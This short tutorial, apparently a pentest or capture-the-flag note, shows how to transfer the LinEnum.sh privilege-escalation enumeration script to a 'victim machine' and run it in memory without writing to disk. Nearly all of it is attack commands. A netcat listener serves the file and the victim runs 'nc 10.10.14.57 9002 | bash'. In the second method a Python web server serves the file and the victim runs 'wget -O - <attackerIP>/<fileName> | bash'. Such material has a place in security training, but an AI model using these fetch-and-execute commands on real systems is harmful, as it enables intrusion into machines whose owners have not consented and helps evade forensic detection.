These example will show us uploading LinEnum.sh to a victim machine and executing the file straight into memory so that we write nothing to the hard-drive.
Method A: Using Netcat
On our attacking box, find the executable you wish to transfer and run the following command:
cat <filename> | nc -nvlp 9002
On the victim machine, change into the following directory so nothing will happen if you do write to disk.
Then transfer and execute the file by connecting back to your netcat connection.
nc 10.10.14.57 9002 | bash
Method B: Using Wget
Host up the file using a Python web server from your Kali machine:
sudo python3 -m http.server
And then run the following command from the victim to download and execute straight into memory.
wget -O - <attackerIP>/<fileName> | bash